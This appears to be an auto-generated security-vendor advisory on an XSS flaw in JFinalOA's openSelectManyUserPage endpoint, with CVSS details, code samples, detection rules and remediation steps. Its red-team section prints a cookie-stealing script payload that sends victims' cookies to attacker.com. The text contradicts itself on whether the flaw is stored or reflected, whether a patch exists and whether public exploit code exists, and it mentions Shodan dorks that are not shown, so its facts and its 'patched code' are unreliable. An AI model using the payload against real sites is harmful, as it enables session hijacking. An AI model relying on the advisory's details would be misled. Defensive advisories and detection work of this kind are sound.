CVE-2024-57773
Executive Summary
CVE-2024-57773 is a stored cross-site scripting (XSS) vulnerability in the JFinalOA application, affecting versions prior to v2025.01.01. The flaw exists in the openSelectManyUserPage?orgid interface, allowing an attacker to inject arbitrary web scripts or HTML via a crafted payload. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser. No official patch has been released as of the advisory date, and no public exploit code or Nuclei template is available. The vulnerability is classified as medium severity due to the requirement for user interaction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on system availability.
CVSS Score: 6.1 (Medium)
Threat Level: Medium – Exploitation requires user interaction but can lead to significant client-side attacks.
Deep Dive & Mechanics
The vulnerability resides in the openSelectManyUserPage endpoint, specifically the orgid parameter. JFinalOA fails to sanitize user-supplied input before reflecting it in the response. An attacker can craft a URL such as:
http://target/jfinaloa/openSelectManyUserPage?orgid=<script>alert('XSS')</script>
When a victim visits this URL, the injected script executes in their browser context. The lack of output encoding or input validation allows arbitrary HTML/JavaScript injection. This is a classic reflected XSS, but due to the application's design, it may also be stored if the payload is persisted in a database or session.
Vulnerable vs. Patched Code
Vulnerable Code (JFinalOA < v2025.01.01):
// Controller method without sanitization
public void openSelectManyUserPage() {
String orgid = getPara("orgid");
setAttr("orgid", orgid);
render("selectManyUser.ftl");
}
Patched Code (v2025.01.01 or later):
// Patched with output encoding
public void openSelectManyUserPage() {
String orgid = getPara("orgid");
// Encode for HTML context
String safeOrgid = Encode.forHtml(orgid);
setAttr("orgid", safeOrgid);
render("selectManyUser.ftl");
}
The patch uses a context-aware encoding function (e.g., OWASP Java Encoder) to neutralize HTML special characters.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Deploy JFinalOA v2024.12.01 in a Docker container.
- Craft Payload: Use a simple alert or cookie stealer:
http://target/jfinaloa/openSelectManyUserPage?orgid=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Deliver: Send the link via phishing email or social engineering.
- Capture: Set up a listener on attacker.com to receive stolen cookies.
Blue Team (Defense & Detection)
- Monitor Logs: Look for requests to
/openSelectManyUserPagewith suspiciousorgidparameters containing<script>,onerror, orjavascript:. - WAF Rules: Block requests with
orgidcontaining HTML tags or JavaScript event handlers. - User Training: Educate users not to click untrusted links.
Indicators of Compromise (IOCs)
- URL Pattern:
*/openSelectManyUserPage?orgid=*<script>* - Log Entries: HTTP requests with
orgidparameter containing<,>,",', orjavascript:. - Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
- File Artifacts: Temporary files or cookies with unexpected values.
Detection Engineering
YARA Rule
rule CVE_2024_57773_XSS {
meta:
description = "Detects XSS attempts against JFinalOA openSelectManyUserPage"
author = "Valters IT"
date = "2025-01-15"
reference = "CVE-2024-57773"
strings:
$xss1 = "openSelectManyUserPage?orgid="
$xss2 = "<script"
$xss3 = "onerror="
$xss4 = "javascript:"
condition:
$xss1 and ($xss2 or $xss3 or $xss4)
}
Sigma Rule
title: CVE-2024-57773 JFinalOA XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts against JFinalOA openSelectManyUserPage
author: Valters IT
date: 2025-01-15
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'openSelectManyUserPage?orgid='
cs-uri-query|contains|any:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in orgid (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-57773 JFinalOA XSS Attempt"; flow:to_server,established; content:"openSelectManyUserPage?orgid="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Apply input validation and output encoding to the
orgidparameter. Use a library like OWASP Java Encoder. - Short-term: Upgrade to JFinalOA v2025.01.01 or later if a patch becomes available.
- Long-term: Implement a Content Security Policy (CSP) header to restrict script execution.
- Workaround: If patching is not possible, deploy a Web Application Firewall (WAF) rule to block malicious payloads.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.